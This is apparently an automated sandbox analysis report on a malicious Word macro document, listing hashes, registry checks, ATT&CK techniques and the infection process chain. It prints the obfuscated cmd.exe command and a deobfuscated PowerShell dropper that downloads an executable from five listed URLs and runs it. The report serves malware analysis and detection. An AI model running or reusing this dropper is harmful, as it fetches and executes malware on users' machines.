573a40257ce731457d4ecc39bfab7cbc4a77e3235244f75e27b8594d9245201c

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
22-05-2024 23:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

68f26248d12a0f90b841be966a92f0eb_JaffaCakes118.doc
Size

91KB
MD5

68f26248d12a0f90b841be966a92f0eb
SHA1

844f455e80056d6d2d0e28118d16b062cf6b83c7
SHA256

573a40257ce731457d4ecc39bfab7cbc4a77e3235244f75e27b8594d9245201c
SHA512

a030f56a78924dac6db76b886264de24e4b82bc95293bf98dbe796c29edfcb989f26bbd089f61eccec190c17d4dd3c10747063b8a71fb9fa144b03b5c10a9212
SSDEEP

1536:hptJlmrJpmxlRw99NBRC+aTmLI0+FOd7Dz4q:/te2dw99f5+FOd3zL

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://docecreativo.com/dm

exe.dropper

http://cunisoft.com/O

exe.dropper

http://artzkaypharmacy.com.au/BlK0k0

exe.dropper

http://askaconvict.com/KYKuG

exe.dropper

http://atuare.com.br/ef

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2288	4680	Cmd.exe	WINWORD.EXE

Blocklisted process makes network request 7 IoCs

Processes:

powershell.exe

flow	pid	process
28	3304	powershell.exe
32	3304	powershell.exe
34	3304	powershell.exe
38	3304	powershell.exe
40	3304	powershell.exe
48	3304	powershell.exe
49	3304	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

Cmd.exe

pid process

2288 Cmd.exe

pid	process
2288	Cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4680 WINWORD.EXE
4680 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3304 powershell.exe
3304 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3304 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4680 WINWORD.EXE
4680 WINWORD.EXE
4680 WINWORD.EXE
4680 WINWORD.EXE
4680 WINWORD.EXE
4680 WINWORD.EXE
4680 WINWORD.EXE

pid	process
4680	WINWORD.EXE
4680	WINWORD.EXE

pid	process
3304	powershell.exe
3304	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3304	powershell.exe

pid	process
4680	WINWORD.EXE
4680	WINWORD.EXE
4680	WINWORD.EXE
4680	WINWORD.EXE
4680	WINWORD.EXE
4680	WINWORD.EXE
4680	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXECmd.exe

description	pid	process	target process
PID 4680 wrote to memory of 2288	4680	WINWORD.EXE	Cmd.exe
PID 4680 wrote to memory of 2288	4680	WINWORD.EXE	Cmd.exe
PID 2288 wrote to memory of 3304	2288	Cmd.exe	powershell.exe
PID 2288 wrote to memory of 3304	2288	Cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\68f26248d12a0f90b841be966a92f0eb_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4680

C:\Windows\SYSTEM32\Cmd.exe
Cmd /V^:/C"^s^e^t ^PA=^ ^ ^ ^ ^ ^ ^ ^}}^{hctac^}^;^k^a^er^b^;BP^b^$ m^etI-^ekovnI;)^BP^b$^ ,C^iZ$(^e^l^iF^d^aolnwo^D^.^Pa^i^$^{^yr^t{)j^j^D$^ ni^ C^i^Z$(hc^aer^o^f^;'e^x^e^.'+^Ovr^$+'^\^'^+ci^l^b^u^p:vn^e^$=BP^b$;^'^91^'^ = ^Ovr^$^;)'^@^'(tilp^S.'f^e/rb.^moc^.er^a^u^t^a//^:^ptt^h@G^uKY^K/^m^oc^.^tc^ivn^oca^k^s^a//^:p^tt^h^@^0k^0^K^lB/^u^a^.moc.yc^a^mr^a^hpyak^ztr^a//:^p^t^t^h@^O/^m^oc.^tf^os^in^uc//:ptth@^md/moc.^ov^ita^erceco^d//:^pt^th'=^jj^D$^;tneilCbe^W.teN ^tc^e^j^bo-w^en=Pa^i^$ l^l^e^hsr^e^w^o^p&&^f^or /^L %^F ^in (3^47,-^1^,^0)d^o ^se^t ^O^k=!^O^k!!^PA:~%^F,1!&&i^f %^F ^l^ss 1 ca^l^l %^O^k:^~^-34^8%"
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $iaP=new-object Net.WebClient;$Djj='http://docecreativo.com/dm@http://cunisoft.com/O@http://artzkaypharmacy.com.au/BlK0k0@http://askaconvict.com/KYKuG@http://atuare.com.br/ef'.Split('@');$rvO = '19';$bPB=$env:public+'\'+$rvO+'.exe';foreach($ZiC in $Djj){try{$iaP.DownloadFile($ZiC, $bPB);Invoke-Item $bPB;break;}catch{}}
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TCD8D10.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uiluwyuz.3yl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\19.exe

Filesize
1KB

MD5
8f8d044a2014c5c55e293da65f7e244d

SHA1
2c84690036a42466ddfe96435d54fd01c35765e5

SHA256
defbb5fa1f9ea77337ab9298eae8c5a4dd3f51e370da966348f77f38a1fafb8b

SHA512
81b60c07284b2d4947493a12cde6df6793fdc91faa66726e5260d533d999626ccf679e6d9f45582c9d7d5b0460e92f715755c89ff43a9f1953ee1d931ed0149b

Download Submit
memory/3304-53-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/3304-77-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/3304-54-0x00000232ECB00000-0x00000232ECB22000-memory.dmp

Filesize
136KB

Download
memory/4680-11-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-49-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-1-0x00007FFA9336D000-0x00007FFA9336E000-memory.dmp

Filesize
4KB

Download
memory/4680-9-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-3-0x00007FFA53350000-0x00007FFA53360000-memory.dmp

Filesize
64KB

Download
memory/4680-13-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-14-0x00007FFA509F0000-0x00007FFA50A00000-memory.dmp

Filesize
64KB

Download
memory/4680-12-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-10-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-15-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-17-0x00007FFA509F0000-0x00007FFA50A00000-memory.dmp

Filesize
64KB

Download
memory/4680-16-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-19-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-18-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-46-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-45-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-48-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-2-0x00007FFA53350000-0x00007FFA53360000-memory.dmp

Filesize
64KB

Download
memory/4680-47-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-4-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-8-0x00007FFA53350000-0x00007FFA53360000-memory.dmp

Filesize
64KB

Download
memory/4680-5-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-7-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-6-0x00007FFA53350000-0x00007FFA53360000-memory.dmp

Filesize
64KB

Download
memory/4680-0-0x00007FFA53350000-0x00007FFA53360000-memory.dmp

Filesize
64KB

Download
memory/4680-548-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-559-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-558-0x00007FFA9336D000-0x00007FFA9336E000-memory.dmp

Filesize
4KB

Download
memory/4680-560-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-561-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-562-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download
memory/4680-582-0x00007FFA53350000-0x00007FFA53360000-memory.dmp

Filesize
64KB

Download
memory/4680-583-0x00007FFA53350000-0x00007FFA53360000-memory.dmp

Filesize
64KB

Download
memory/4680-584-0x00007FFA53350000-0x00007FFA53360000-memory.dmp

Filesize
64KB

Download
memory/4680-585-0x00007FFA53350000-0x00007FFA53360000-memory.dmp

Filesize
64KB

Download
memory/4680-586-0x00007FFA932D0000-0x00007FFA934C5000-memory.dmp

Filesize
2.0MB

Download